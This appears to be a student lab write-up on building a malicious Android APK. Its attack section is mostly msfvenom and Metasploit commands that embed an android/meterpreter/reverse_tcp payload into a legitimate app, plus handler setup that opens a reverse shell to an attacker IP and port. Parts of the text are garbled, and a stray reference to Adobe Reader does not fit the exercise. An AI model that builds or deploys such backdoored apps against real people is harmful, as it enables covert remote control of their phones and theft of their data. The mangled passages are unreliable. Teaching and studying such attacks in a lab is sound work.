Malicious APK File Creation No. 15

Problem Statement:

- 1. Creating a malicious Android app
- 2. Analyzing a given malicious Android app using Santoku's tools

Stage 1: Creating a malicious Android app

Setup commands:

```
$ apt install zipalign
```

\$ apt-get install openjdk-11-jdk

\$ jarsigner

\$apktool

\$ msfvenom -x legit.apk -p android/meterpreter/reverse_tcp
lhost=192.168.1.10 lport=4444 -o backdoor.apk

\$ msfconsole

\$ use exploit/multi/handler

\$ set payload android/meterpreter/reverse tcp

\$ set lhost 192.168.1.10 \$ set lport 4444 run

Identify the appropriate exploit

Find the proper exploit by searching Metasploit for one that supports this version of Adobe Reader:



Identify this exploit and gather information

Set Our Payload

Our next step is to embed the payload into the Apk Here's what the exploit and payload options look like

D: Set Options

In this step, we set the filename, localhost IP addresses (i.e., find by using ifconfig), Port number and lunch message (i.e., sorry you cannot open this file!).

```
Shell No. 1
 File Actions Edit View Help
msf6 > use exploit/multi/handler
Unknown command: use msf6 > use exploit/multi/handler
 [*] Using configured payload generic/shell_reverse_tcp
     everse_tcpslti/nondler) > set payload android/meterprete
Unknown command: set
6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
r/reverse to
<u>msf6</u> exploit(multi/handler) > set payload payload ⇒ android/meterpreter/reverse_tcp
\frac{\text{msf6}}{\text{msf6}} \text{ exploit}(\text{multi/handler}) > \text{set LHOST } 192.168.0.20
\text{LHOST} \rightarrow 192.168.0.20
\frac{\text{msf6}}{\text{msf6}} \text{ exploit}(\text{multi/handler}) > \text{set LPORT } 4444
LPORT ⇒ 4444
                        ti/handler) > show options
msf6 exploit(m
Module options (exploit/multi/handler):
    Name | Current Setting | Required | Description
Payload options (android/meterpreter/reverse_tcp):
    Name Current/Setting Required Description
    LHOST 192.168.0.20
LPORT 4444
                                                      The listen address (an interface may be specified)
                                                 The listen again
The listen port
Exploit target:
    Id Name
    0 Wildcard Target
msf6 exploit(multi/handler) >
```

E: Exploit

In the screenshot above, you can see that all our options have been set, and now all we have to do is exploit.

```
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.0.20:4444
```

We are not able to show fb.apk exploit with android because our virtual box not supporting android and kali parallelly.